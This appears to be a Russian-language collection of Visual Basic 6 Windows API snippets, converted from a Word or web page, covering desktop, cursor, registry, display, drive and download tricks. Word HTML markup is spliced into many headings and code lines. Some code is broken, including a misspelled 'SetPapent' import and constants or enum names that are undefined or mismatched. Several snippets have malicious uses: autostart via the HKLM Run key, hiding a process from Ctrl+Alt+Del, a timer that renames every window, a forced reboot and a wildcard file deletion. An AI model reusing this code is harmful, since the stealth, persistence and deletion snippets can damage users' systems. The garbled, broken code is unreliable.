API

1. Путь к винду (API): |

Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal p As String, ByVal p1 As Long) As Long

Dim windir As String

Private Sub Command1_Click()

windir = Space(20)

Text1.Text = Left(windir, GetWindowsDirectory(windir, 20))

End Sub

-------------------------

`Теперь простая Функция:

-------------------------

Private Sub Command1_Click()

Text1.Text = Environ("windir")

End Sub

2.Скрыть/показать значки на Рабочем столе

Private Declare Function ShowWindow& Lib "user32" (ByVal q&, ByVal q1&)

Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal w As String, ByVal w1 As String) As Long

Dim r As Long

------------

Показываем |

------------

Private Sub Command1_Click()

r = FindWindow("progman", vbNullString)

Call ShowWindow(r, 1)

End Sub

----------

` Скрываем |

----------

Private Sub Command2_Click()

r = FindWindow("progman", vbNullString)

Call ShowWindow(r, 0)

End Sub

3. Меняем рисунок на Рабочем столе

Private Declare Function SystemParametersInfo Lib "user32" Alias "SystemParametersInfoA" (ByVal a As Long, ByVal a1 As Long, ByVal a2 As String, ByVal a3 As Long) As Long

Private Sub Command1_Click()

SystemParametersInfo 20, 0, "c:\as.bmp", True

End Sub

4. Добовляем ссылку в Пуск/Документы lang=EN-US style='font-size:14.0pt;mso-bidi-font-size:12.0pt;mso-ansi-language:EN-US'>

Private Declare Function SHAddToRecentDocs Lib "shell32" (ByVal e As Long, ByVal e1 As String) As Long

Private Sub Command1_Click()

SHAddToRecentDocs 2, "c:\as.bmp"

End Sub

5. Устанавливаем курсор в любое место экрана

Private Declare Function SetCursorPos Lib "user32" (ByVal r As Long, ByVal r1 As Long) As Long

Private Sub Command1_Click()

qqq = SetCursorPos(66, 77)

End Sub

lang=EN-US style='font-size:14.0pt;mso-bidi-font-size: 12.0pt;mso-ansi-language:EN-US'>6. style='font-size:14.0pt; mso-bidi-font-size:12.0pt'>Отслеживаем style='font-size: 14.0pt;mso-bidi-font-size:12.0pt;mso-ansi-language:EN-US'> style='font-size:14.0pt;mso-bidi-font-size:12.0pt'>координаты style='font-size:14.0pt;mso-bidi-font-size:12.0pt;mso-ansi-language:EN-US'> style='font-size:14.0pt;mso-bidi-font-size:12.0pt'>мыши style='font-size:14.0pt;mso-bidi-font-size:12.0pt;mso-ansi-language:EN-US'> lang=EN-US>

Type POINTAPI

x As Long

y As Long

End Type

Private Declare Function GetCursorPos Lib "user32" (ast As POINTAPI) As Long

Dim coord As POINTAPI

Private Sub Command1_Click()

q = GetCursorPos(coord)

Text1.Text = coord.x

Text2.Text = coord.y

End Sub

7. Работа с реестром lang=EN-US style='font-size:14.0pt; mso-bidi-font-size:12.0pt;mso-ansi-language:EN-US'>

Private Declare Function RegCreateKey Lib "advapi32" Alias "RegCreateKeyA" (ByVal y As Long, ByVal y1 As String, y2 As Long) As Long

Private Declare Function RegOpenKeyExA Lib "advapi32" (ByVal u As Long, ByVal u1 As String, ByVal u2 As Long, ByVal u3 As Long, u4 As Long) As Long

Private Declare Function RegCloseKey Lib "advapi32" (ByVal i As Long) As Long

Private Declare Function RegSetValueExA Lib "advapi32" (ByVal o As Long, ByVal o1 As String, ByVal o2 As Long, ByVal o4 As Long, ByVal o5 As String, ByVal o8 As Long) As Long

Dim a As Long

Dim s As Long

Const HKEY_LOCAL_MACHINE As Long = &H80000002

Private Sub Command1_Click()

a = RegCreateKey(HKEY_LOCAL_MACHINE, "Software\Microsoft\windows\CurrentVersion\Run\ZZZ", s)

End Sub

Private Sub Command2_Click()

a = RegOpenKeyExA(HKEY_LOCAL_MACHINE, "Software\Microsoft\windows\CurrentVersion\Run\ZZZ", 0, HKEY_ALL_ACCESS, s)

a = RegSetValueExA(s, "Software\Microsoft\windows\CurrentVersion\Run\ZZZ", 0, 1, "gggg", 1)

a = RegCloseKey(s)

End Sub

lang=EN-US style='font-size:14.0pt;mso-bidi-font-size: 12.0pt;mso-ansi-language:EN-US'>8. style='font-size:14.0pt; mso-bidi-font-size:12.0pt'>Замораживаем style='font-size: 14.0pt;mso-bidi-font-size:12.0pt;mso-ansi-language:EN-US'> style='font-size:14.0pt;mso-bidi-font-size:12.0pt'>Виндов style='font-size:14.0pt;mso-bidi-font-size:12.0pt;mso-ansi-language:EN-US'> lang=EN-US>

Private Declare Function SetPapent Lib "user32" (ByVal g As Long, ByVal g1 As Long) As Long

Dim f As Long

Private Sub Command1_Click()

f = SetPapent(Me.hWnd, Me.hWnd)

End Sub

9. Установить заголовок всех активных окон

Private Declare Function SetWindowText Lib "user32" Alias "SetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String) As Long

Public Sub WindowCaptionChangeAll(NewText As String)

For nI = 1 To 10000

Call SetWindowText(nI, NewText)

Next

End Sub

Private Sub Timer1_Timer()

WindowCaptionChangeAll ("Web-solyanka.narod.ru")

End Sub

10. Скрыть/показать прогу от Ctrl+Alt+Del|

Private Declare Function RegisterServiceProcess Lib "kernel32" (ByVal ProcessID As Long, ByVal ServiceFlags As Long) As Long

Private Declare Function GetCurrentProcessId Lib "kernel32" () As Long

Private Sub Form_Load()

RegisterServiceProcess GetCurrentProcessId, 1

End Sub

Private Sub Form_Unload(Cancel As Integer)

RegisterServiceProcess GetCurrentProcessId, 0

End Sub

lang=EN-US style='font-size:14.0pt;mso-bidi-font-size: 12.0pt;mso-ansi-language:EN-US'>11. style='font-size:14.0pt; mso-bidi-font-size:12.0pt'>Издать style='font-size:14.0pt; mso-bidi-font-size:12.0pt;mso-ansi-language:EN-US'> style='font-size:14.0pt;mso-bidi-font-size:12.0pt'>звук lang=EN-US style='font-size:14.0pt;mso-bidi-font-size:12.0pt;mso-ansi-language: EN-US'>

Declare Function sndPlaySound Lib "winmm.dll" Alias "sndPlaySoundA" (ByVal lpszSoundName As String, ByVal uFlags As Long) As Long

Private Sub Command1_Click()

sndPlaySound "getpoint.wav", 1

End Sub

12. Изменить метку диска/устройства style="mso-spacerun: yes">

Private Declare Function SetVolumeLabel Lib "kernel32" Alias "SetVolumeLabelA" (ByVal lpRootPathName As String, ByVal lpVolumeName As String) As Long

Private Sub Command1_Click()

'replace the "d:\" below with the drive you want to change its label

'replace the "MyNewLabel" below with the drive new label

If SetVolumeLabel("d:\", "MyNewLabel") = 0 Then

MsgBox "An Error occured while trying to change drive label", vbCritical, "Error"

End If

End Sub

13. Обрушить твою прогу lang=EN-US style='font-size:14.0pt; mso-bidi-font-size:12.0pt;mso-ansi-language:EN-US'>

Private Declare Sub FatalAppExit Lib "kernel32" Alias "FatalAppExitA" (ByVal uAction As Long, ByVal lpMessageText As String)

Private Sub Form_Load()

FatalAppExit 0, "Впишите сюда любой текст"

End Sub

14. А вот как таскать форму не за заголовок, а за любое место? style="mso-spacerun: yes">

style="mso-spacerun: yes">

Не пугайтесь, никакого громоздкого кода на событе MouseMove, style="mso-spacerun: yes">

с отслеживанием положения мыши. Все, как обычно просто:

Const WM_NCLBUTTONDOWN = &HA1

Const HTCAPTION = 2

Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" _

style="mso-spacerun: yes"> (ByVal hWnd As Long, ByVal wMsg As Long, _

style="mso-spacerun: yes"> ByVal wParam As Long, lParam As Any) As Long

Private Declare Function ReleaseCapture Lib "user32" () As Long

Private Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)

style="mso-spacerun: yes"> Call ReleaseCapture

style="mso-spacerun: yes"> Call SendMessage(Me.hWnd, WM_NCLBUTTONDOWN, HTCAPTION, 0&)

End Sub

15. Очень часто спрашивают - как поместить форму поверх других форм

style='mso-bidi-font-weight: bold'>- style='font:7.0pt "Times New Roman"'> отвечаю Очень Просто:

- style='font:7.0pt "Times New Roman"'>

style="mso-spacerun: yes"> lang=EN-US style='mso-ansi-language:EN-US'>' Поместите style='mso-ansi-language: EN-US'> в style='mso-ansi-language:EN-US'> модуль

style="mso-spacerun: yes"> Public Declare Function SetWindowPos Lib "user32" _

style="mso-spacerun: yes"> (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, _

style="mso-spacerun: yes"> ByVal X As Long, ByVal Y As Long, ByVal cx As Long, _

style="mso-spacerun: yes"> ByVal cy As Long, ByVal wFlags As Long) As Long

style="mso-spacerun: yes"> Public Const HWND_NOTOPMOST = -2

style="mso-spacerun: yes"> Public Const HWND_TOPMOST = -1

style="mso-spacerun: yes"> Public Const SWP_NOACTIVATE = &H10

style="mso-spacerun: yes"> Public Const SWP_NOMOVE = &H2

style="mso-spacerun: yes"> Public Const SWP_NOSIZE = &H1

style="mso-spacerun: yes"> Public Sub SetFormPosition(frmHandl As Long, TopPosition As Boolean)

style="mso-spacerun: yes"> If TopPosition Then

style="mso-spacerun: yes"> SetWindowPos frmHandl, HWND_TOPMOST, 0, 0, 0, 0, _

style="mso-spacerun: yes"> SWP_NOACTIVATE Or SWP_NOSIZE Or SWP_NOMOVE

style="mso-spacerun: yes"> Else

style="mso-spacerun: yes"> SetWindowPos frmHandl, HWND_NOTOPMOST, 0, 0, 0, 0, _

style="mso-spacerun: yes"> SWP_NOSIZE Or SWP_NOMOVE

style="mso-spacerun: yes"> End If

style="mso-spacerun: yes"> End Sub

style="mso-spacerun: yes">

style="mso-spacerun: yes"> 'Поместите на форму в любой процедуре

style="mso-spacerun: yes"> call SetFormPosition(Me.hwnd, True)

style="mso-spacerun: yes">

lang=EN-US style='font-size:14.0pt;mso-bidi-font-size: 12.0pt;mso-ansi-language:EN-US'>16. style='font-size:14.0pt; mso-bidi-font-size:12.0pt'>Функция lang=EN-US style='font-size:14.0pt;mso-bidi-font-size:12.0pt;mso-ansi-language:EN-US'> ExitWindowsEx

Declare Function ExitWindowsEx Lib "user32.dll" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long

Платформа

Win 95/98, Win NT

ExitWindowsEx выключает или перезагружает компьютер.Функция возвращает 0 в случае ошибки и 1 в успешном случае.

uFlags

Один или несколько флагов,определяющих способ выключения или перезагрузки компьютера:

EWX_FORCE = 4

Закрывает все программы без приглашения сохранить файлы.

EWX_LOGOFF = 0

Отключает от сети.

EWX_POWEROFF = 8

Завершает работу системы и если есть возможность выключает компьютер.

EWX_REBOOT = 2

Перезагружает компьютер.

EWX_SHUTDOWN = 1

Завершает работу системы.

dwReserved

Зарезервированный параметр для будущих версий Windows. Всегда установлен в 0.

Пример

' Перезагружаем компьютер, закрывая все открытые программы.

Dim retval As Long style="mso-spacerun: yes"> ' возвращаемое значение

retval = ExitWindowsEx(EWX_REBOOT Or EWX_FORCE, 0)

If retval = 0 Then Debug.Print "Не удается перезагрузить компьютер."

17. Определение разрешения и количества цветов дисплея

Declare Function GetDeviceCaps Lib "gdi32" (ByVal hDC As Long, ByVal nIndex As Long) As Long

Declare Function GetDesktopWindow Lib "user32" () As Long

Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long

Declare Function ReleaseDC Lib "user32" (ByVal hwnd As Long, ByVal hDC As Long) As Long

Public Const HORZRES = 8

Public Const VERTRES = 10

Public Const BITSPIXEL = 12

Public Sub GetVideoMode(ByRef Width As Long, ByRef Height As Long, ByRef Depth As Long)

style="mso-spacerun: yes"> Dim hDC As Long

style="mso-spacerun: yes"> hDC = GetDC(GetDesktopWindow())

style="mso-spacerun: yes"> Width = GetDeviceCaps(hDC, HORZRES)

style="mso-spacerun: yes"> Height = GetDeviceCaps(hDC, VERTRES)

style="mso-spacerun: yes"> Depth = GetDeviceCaps(hDC, BITSPIXEL)

style="mso-spacerun: yes"> ReleaseDC GetDesktopWindow(), hDC

End Sub

18. Как изменить текущее разрешение экрана

Public Const DM_BITSPERPEL = &H40000

Public Const DM_PELSWIDTH = &H80000

Public Const DM_PELSHEIGHT = &H100000

Public Const CCHDEVICENAME = 32

Public Const CCHFORMNAME = 32

Type DEVMODE

dmDeviceName As String * CCHDEVICENAME

dmSpecVersion As Integer

dmDriverVersion As Integer

dmSize As Integer

dmDriverExtra As Integer

dmFields As Long

dmOrientation As Integer

dmPaperSize As Integer

dmPaperLength As Integer

dmPaperWidth As Integer

dmScale As Integer

dmCopies As Integer

dmDefaultSource As Integer

dmPrintQuality As Integer

dmColor As Integer

dmDuplex As Integer

dmYResolution As Integer

dmTTOption As Integer

dmCollate As Integer

dmFormName As String * CCHFORMNAME

dmUnusedPadding As Integer

dmBitsPerPel As Integer

dmPelsWidth As Long

dmPelsHeight As Long

dmDisplayFlags As Long

dmDisplayFrequency As Long

End Type

Declare Function ChangeDisplaySettings Lib "user32.dll" Alias "ChangeDisplaySettingsA" (lpDevMode As DEVMODE,

ByVal dwFalgs As Long) As Long

Public Sub SetVideoMode(Width As Long, height As Long, Depth As Long)

style="mso-spacerun: yes"> Dim dm As DEVMODE

style="mso-spacerun: yes"> dm.dmPelsWidth = Width

style="mso-spacerun: yes"> dm.dmPelsHeight = height

style="mso-spacerun: yes"> dm.dmBitsPerPel = Depth

style="mso-spacerun: yes"> dm.dmSize = Len(dm)

style="mso-spacerun: yes"> dm.dmFields = DM_PELSWIDTH + DM_PELSHEIGHT + DM_BITSPERPEL

style="mso-spacerun: yes"> ChangeDisplaySettings dm, 0

End Sub

19. Открытие/закрытие CD-ROM

Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String,

style="mso-spacerun: yes"> ByVal lpstrReturnString As Any, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long

Dim Status As Integer

Использование:

Status = mciSendString("Set CDAudio Door Open Wait", 0&, 0, 0)

Status = mciSendString("Set CDAudio Door Closed Wait", 0&, 0, 0)

20. Как из программы открыть веб-страничку

Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String,

style="mso-spacerun: yes"> ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

Public Const SW_SHOW = 5

Public Sub Navigate(frm As Form, ByVal NavTo As String)

style="mso-spacerun: yes"> Dim hBrowse As Long

style="mso-spacerun: yes"> hBrowse = ShellExecute(frm.hwnd, "open", NavTo, "", "", SW_SHOW)

End Sub

Использование:

Navigate Me, http://vb.astral.kiev.ua

21. Скрыть/показать кнопку "ПУСК"

Option Explicit

Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long

Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String,

style="mso-spacerun: yes"> ByVal lpWindowName As String) As Long

Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long,

style="mso-spacerun: yes"> ByVal lpsz1 As String, ByVal lpsz2 As String) As Long

Private Sub StartButtonState(tState As Boolean)

Dim Handle As Long, FindClass As Long, mPopup As Long

FindClass = FindWindow("Shell_TrayWnd", "")

Handle = FindWindowEx(FindClass, 0, "Button", vbNullString)

mPopup = FindWindowEx(Handle, 0, "POPUP", vbNullString)

Select Case tState

Case "True"

ShowWindow Handle&, 1

Case "False"

ShowWindow Handle&, 0

End Select

End Sub

Использование:

StartButtonState True ' скрывает " ПУСК "

22. Скрыть/показать все панель (system tray)

Option Explicit

Dim hwnd1 As Long

Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long,

style="mso-spacerun: yes"> ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long

Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String,

style="mso-spacerun: yes"> ByVal lpWindowName As String) As Long

Const SWP_HIDEWINDOW = &H80

Const SWP_SHOWWINDOW = &H40

Private Sub cmdHide_Click()

Событие style='mso-ansi-language:EN-US'> скрыть :

hwnd1 = FindWindow("Shell_traywnd", "")

Call SetWindowPos(hwnd1, 0, 0, 0, 0, 0, SWP_HIDEWINDOW)

Это в событие показать:

hwnd1 = FindWindow("Shell_traywnd", "")

Call SetWindowPos(hwnd1, 0, 0, 0, 0, 0, SWP_SHOWWINDOW)

lang=EN-US style='font-size:14.0pt;mso-bidi-font-size: 12.0pt;mso-ansi-language:EN-US'>

23. Проверить наличие дискеты или CD-диска в устройстве

Private Declare Function GetVolumeInformation Lib "kernel32" Alias "GetVolumeInformationA" _

(ByVal lpRootPathName As String, ByVal lpVolumeNameBuffer As String, ByVal nVolumeNameSize As Long, _

style="mso-spacerun: yes"> lpVolumeSerialNumber As Long, lpMaximumComponentLength As Long, lpFileSystemFlags As Long, _

ByVal lpFileSystemNameBuffer As String, ByVal nFileSystemNameSize As Long) As Long

Private Sub Command1_Click()

erg& = GetVolumeInformation("A:", VolName$, 127&, VolNumber&, MCM&, FSF&, FSys$, 127&)

If erg& = 0 Then

MsgBox "Ничего в текущем устройстве нет"

Else

MsgBox "В текущем устройстве присутствует диск"

End If

End Sub

24. Имитация нажатия кнопки на мышке

Private Declare Sub mouse_event Lib "user32" _

(ByVal dwFlags As Long, ByVal dx As Long, ByVal dy As Long, ByVal cbuttons As Long, ByVal dwExtraInfo As Long)

Private Const MOUSEEVENTF_LEFTDOWN = &H2

Private Const MOUSEEVENTF_LEFTUP = &H4

Private Const MOUSEEVENTF_MIDDLEDOWN = &H20

Private Const MOUSEEVENTF_MIDDLEUP = &H40

Private Const MOUSEEVENTF_RIGHTDOWN = &H8

Private Const MOUSEEVENTF_RIGHTUP = &H10

Private Enum ButtonClick

btcLeft

btcRight

btcMiddle

End Enum

style="mso-spacerun: yes">

Private Function MouseClick(ByVal MBClick As ButtonClick) As Boolean

Dim cbuttons As Long

Dim dwExtraInfo As Long

Dim mevent As Long

Select Case MBClick

Case ButtonLeft

mevent = MOUSEEVENTF_LEFTDOWN Or MOUSEEVENTF_LEFTUP

Case ButtonRight

mevent = MOUSEEVENTF_RIGHTDOWN Or MOUSEEVENTF_RIGHTUP

Case ButtonMiddle

mevent = MOUSEEVENTF_MIDDLEDOWN Or MOUSEEVENTF_MIDDLEUP

Case Else

MouseClick = False

Exit Function

End Select

mouse_event mevent, 0&, 0&, cbuttons, dwExtraInfo

MouseClick = True

End Function

style="mso-spacerun: yes">

Private Sub Command1_Click()

Call MouseClick(ButtonLeft)

End Sub

25. Установить границы передвижения курсора

Private Declare Sub ClipCursor Lib "user32" (lpRect As Any)

Private Declare Sub GetClientRect Lib "user32" (ByVal hWnd As Long, lpRect As RECT)

Private Declare Sub ClientToScreen Lib "user32" (ByVal hWnd As Long, lpPoint As POINTAPI)

Private Declare Sub OffsetRect Lib "user32" (lpRect As RECT, ByVal x As Long, ByVal y As Long)

Private Type RECT

left As Integer

top As Integer

right As Integer

bottom As Integer

End Type

Private Type POINTAPI

x As Long

y As Long

End Type

style="mso-spacerun: yes">

Private Sub Form_Load()

Command1.Caption = "Ограничить передвижение!"

Command2.Caption = " Снять style='mso-ansi-language:EN-US'> ограничение !"

End Sub

style="mso-spacerun: yes">

Private Sub Form_Unload(Cancel As Integer)

ClipCursor ByVal 0&

End Sub

style="mso-spacerun: yes">

Private Sub Command1_Click()

Dim client As RECT

Dim upperleft As POINTAPI

GetClientRect Me.hWnd, client

upperleft.x = client.left

upperleft.y = client.top

ClientToScreen Me.hWnd, upperleft

OffsetRect client, upperleft.x, upperleft.y

ClipCursor client

End Sub

style="mso-spacerun: yes">

Private Sub Command2_Click()

ClipCursor ByVal 0&

End Sub

lang=EN-US style='font-size:14.0pt;mso-bidi-font-size: 12.0pt;mso-ansi-language:EN-US'>26. style='font-size:14.0pt; mso-bidi-font-size:12.0pt'>Переключение раскладки

'Расположите на форме 2 элемента CommandButton.

Private Declare Function LoadKeyboardLayout Lib "user32" Alias "LoadKeyboardLayoutA" _

(ByVal pwszKLID As String, ByVal flags As Long) As Long

Private Const KLF_ACTIVATE = 1

style="mso-spacerun: yes">

Private Sub Command1_Click()

LoadKeyboardLayout "00000419", KLF_ACTIVATE

End Sub

style="mso-spacerun: yes">

Private Sub Command2_Click()

LoadKeyboardLayout "00000409", KLF_ACTIVATE

End Sub

27. Какая раскладка клавиатуры включена в данный момент

Private Declare Function GetKeyboardLayoutName Lib "user32" Alias "GetKeyboardLayoutNameA" (ByVal pwszKLID As String) As Long

style="mso-spacerun: yes">

Private Sub Form_Load()

Dim KeybLayoutName As String

KeybLayoutName = String(9, 0)

GetKeyboardLayoutName KeybLayoutName

If CStr(CLng(left$(KeybLayoutName, InStr(1, KeybLayoutName, Chr(0)) - 1))) = 409 Then MsgBox " Текущая style='mso-ansi-language:EN-US'> раскладка - Английская "

If CStr(CLng(left$(KeybLayoutName, InStr(1, KeybLayoutName, Chr(0)) - 1))) = 419 Then MsgBox " Текущая style='mso-ansi-language:EN-US'> раскладка - Русская lang=EN-US style='mso-ansi-language:EN-US'>"

End Sub

28. Скорость повтора ввода символов

Const SPI_GETKEYBOARDSPEED = 10

Private Declare Function SystemParametersInfo Lib "user32" Alias "SystemParametersInfoA" _

(ByVal uAction As Long, ByVal uParam As Long, lpvParam As Any, ByVal fuWinIni As Long) As Long

style="mso-spacerun: yes">

Private Sub Form_Load()

Dim X As Long

Xx = SystemParametersInfo(SPI_GETKEYBOARDSPEED, 0, X, 0)

MsgBox "Скорость повтора - " & X & " символов!"

End Sub

29. Удаление всех файлов из директории

Kill ("c:\1\*.*").

30. Открыть любой файл/директорию

Под Windos NT:

Shell "cmd /X /C start c:\mydoc\example.doc"

=---------------------------------------------------

Под Windos 9x:

-----------------------------------------------------

Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hWnd As Long, ByVal lpOperation As String, _

ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

Private Sub Command1_Click()

ShellExecute 0, vbNullString, "C:\" & sFile, vbNullString, vbNullString, vbNormalFocus

End Sub

style="mso-spacerun: yes">

-----------------------------------------------------------

Или без всяких Апи:

Shell "start c:\mydoc\example.doc"

31. Функция удаляет только папку, не содержающую файлов !

Private Declare Function RemoveDirectory Lib "kernel32.dll" Alias "RemoveDirectoryA" (ByVal lpPathName As String) As Long

style="mso-spacerun: yes">

Private Sub Command1_Click()

retval = RemoveDirectory("D:\ ХХХ lang=EN-US style='mso-ansi-language: EN-US'>")

If retval = 1 Then

MsgBox " Папка style='mso-ansi-language:EN-US'> была style='mso-ansi-language:EN-US'> удалена lang=EN-US style='mso-ansi-language:EN-US'>", vbInformation

Else

MsgBox "Операция провалилась", vbCritical

End If

End

End Sub

32. Изменение атрибутов файла

style="mso-spacerun: yes">

Замените "C:\Scan Port.exe" на полный путь к своему файлу.

SetAttr "C:\Scan Port.exe", vbReadOnly 'Поставить атрибут "Только чтение"

SetAttr "C:\Scan Port.exe", GetAttr("C:\Scan Port.exe") And (Not vbReadOnly) 'Очистить атрибут "Только чтение"

SetAttr "C:\Scan Port.exe", vbArchive style="mso-spacerun: yes"> 'Поставить атрибут "Архивный"

SetAttr "C:\Scan Port.exe", GetAttr("C:\Scan Port.exe") And (Not vbArchive) 'Очистить атрибут "Архивный"

SetAttr "C:\Scan Port.exe", vbHidden 'Поставить атрибут "Скрытый"

SetAttr "C:\Scan Port.exe", GetAttr("C:\Scan Port.exe") And (Not vbHidden) ' Очистить style='mso-ansi-language:EN-US'> атрибут " Скрытый "

33. Получение полного пути exe-файла из его хэндла

style="mso-spacerun: yes">

Const TH32CS_SNAPPROCESS As Long = 2&

Const MAX_PATH As Long = 260

style="mso-spacerun: yes">

Private Type PROCESSENTRY32

dwSize As Long

cntUsage As Long

th32ProcessID As Long

th32DefaultHeapID As Long

th32ModuleID As Long

cntThreads As Long

th32ParentProcessID As Long

pcPriClassBase As Long

dwflags As Long

szexeFile As String * MAX_PATH

End Type

style="mso-spacerun: yes">

Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long) As Long

Private Declare Function CreateToolhelpSnapshot Lib "Kernel32" Alias "CreateToolhelp32Snapshot" (ByVal lFlgas As Long, ByVal lProcessID As Long) As Long

Private Declare Function ProcessFirst Lib "Kernel32" Alias "Process32First" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long

Private Declare Function ProcessNext Lib "Kernel32" Alias "Process32Next" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long

Private Declare Sub CloseHandle Lib "Kernel32" (ByVal hPass As Long)

lang=EN-US style='mso-ansi-language:EN-US'> style="mso-spacerun: yes">

lang=EN-US style='mso-ansi-language:EN-US'>Private Function GetExeFromHandle(hwnd As Long) As String

lang=EN-US style='mso-ansi-language:EN-US'>Dim threadID As Long, processID As Long, hSnapshot As Long

lang=EN-US style='mso-ansi-language:EN-US'>Dim uProcess As PROCESSENTRY32, rProcessFound As Long

lang=EN-US style='mso-ansi-language:EN-US'>Dim i As Integer, szExename As String

lang=EN-US style='mso-ansi-language:EN-US'>threadID = GetWindowThreadProcessId(hwnd, processID)

lang=EN-US style='mso-ansi-language:EN-US'>If threadID = 0 Or processID = 0 Then Exit Function

lang=EN-US style='mso-ansi-language:EN-US'>hSnapshot = CreateToolhelpSnapshot(TH32CS_SNAPPROCESS, 0&)

lang=EN-US style='mso-ansi-language:EN-US'>If hSnapshot = -1 Then Exit Function

lang=EN-US style='mso-ansi-language:EN-US'>uProcess.dwSize = Len(uProcess)

lang=EN-US style='mso-ansi-language:EN-US'>rProcessFound = ProcessFirst(hSnapshot, uProcess)

lang=EN-US style='mso-ansi-language:EN-US'>Do While rProcessFound

lang=EN-US style='mso-ansi-language:EN-US'>If uProcess.th32ProcessID = processID Then

lang=EN-US style='mso-ansi-language:EN-US'>i = InStr(1, uProcess.szexeFile, Chr(0))

lang=EN-US style='mso-ansi-language:EN-US'>If i > 0 Then szExename = Left$(uProcess.szexeFile, i - 1)

lang=EN-US style='mso-ansi-language:EN-US'>Exit Do

lang=EN-US style='mso-ansi-language:EN-US'>Else

lang=EN-US style='mso-ansi-language:EN-US'>rProcessFound = ProcessNext(hSnapshot, uProcess)

lang=EN-US style='mso-ansi-language:EN-US'>End If

lang=EN-US style='mso-ansi-language:EN-US'>Loop

lang=EN-US style='mso-ansi-language:EN-US'>Call CloseHandle(hSnapshot)

lang=EN-US style='mso-ansi-language:EN-US'>GetExeFromHandle = szExename

lang=EN-US style='mso-ansi-language:EN-US'>End Function

lang=EN-US style='mso-ansi-language:EN-US'> style="mso-spacerun: yes">

lang=EN-US style='mso-ansi-language:EN-US'>Private Sub Command1_Click()

lang=EN-US style='mso-ansi-language:EN-US'>MsgBox GetExeFromHandle(Me.hwnd)

End Sub

lang=EN-US style='font-size:14.0pt;mso-bidi-font-size: 12.0pt;mso-ansi-language:EN-US'>34. style='font-size:14.0pt; mso-bidi-font-size:12.0pt'>Создание директории lang=EN-US style='font-size:14.0pt;mso-bidi-font-size:12.0pt;mso-ansi-language:EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'> style="mso-spacerun: yes">

lang=EN-US style='mso-ansi-language:EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'>Sub MakeDir(dirname As String)

lang=EN-US style='mso-ansi-language:EN-US'>Dim i As Long, path As String

lang=EN-US style='mso-ansi-language:EN-US'>Do

lang=EN-US style='mso-ansi-language:EN-US'>i = InStr(i + 1, dirname & "\", "\")

lang=EN-US style='mso-ansi-language:EN-US'>path = Left$(dirname, i - 1)

lang=EN-US style='mso-ansi-language:EN-US'>If Right$(path, 1) <> ":" And Dir$(path, vbDirectory) = "" Then

lang=EN-US style='mso-ansi-language:EN-US'>MkDir path

lang=EN-US style='mso-ansi-language:EN-US'>End If

lang=EN-US style='mso-ansi-language:EN-US'>Loop Until i >= Len(dirname)

lang=EN-US style='mso-ansi-language:EN-US'>End Sub

lang=EN-US style='mso-ansi-language:EN-US'> style="mso-spacerun: yes">

lang=EN-US style='mso-ansi-language:EN-US'>Private Sub Command1_Click()

lang=EN-US style='mso-ansi-language:EN-US'>Call MakeDir("C:\X\YYY\AAA\BBB\")

End Sub

lang=EN-US style='mso-ansi-language:EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'>

35. 'Сохранение файла из Интернета

lang=EN-US style='mso-ansi-language:EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'> style="mso-spacerun: yes">

lang=EN-US style='mso-ansi-language:EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'>Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

lang=EN-US style='mso-ansi-language:EN-US'>Public Event ErrorDownload(FromPathName As String, ToPathName As String)

lang=EN-US style='mso-ansi-language:EN-US'>Public Event DownloadComplete(FromPathName As String, ToPathName As String)

lang=EN-US style='mso-ansi-language:EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'>Public Function DownloadFile(FromPathName As String, ToPathName As String)

lang=EN-US style='mso-ansi-language:EN-US'>If URLDownloadToFile(0, FromPathName, ToPathName, 0, 0) = 0 Then

lang=EN-US style='mso-ansi-language:EN-US'>DownloadFile = True

lang=EN-US style='mso-ansi-language:EN-US'>RaiseEvent DownloadComplete(FromPathName, ToPathName)

lang=EN-US style='mso-ansi-language:EN-US'>Else

lang=EN-US style='mso-ansi-language:EN-US'>DownloadFile = False

lang=EN-US style='mso-ansi-language:EN-US'>RaiseEvent ErrorDownload(FromPathName, ToPathName)

lang=EN-US style='mso-ansi-language:EN-US'>End If

lang=EN-US style='mso-ansi-language:EN-US'>End Function

lang=EN-US style='mso-ansi-language:EN-US'>

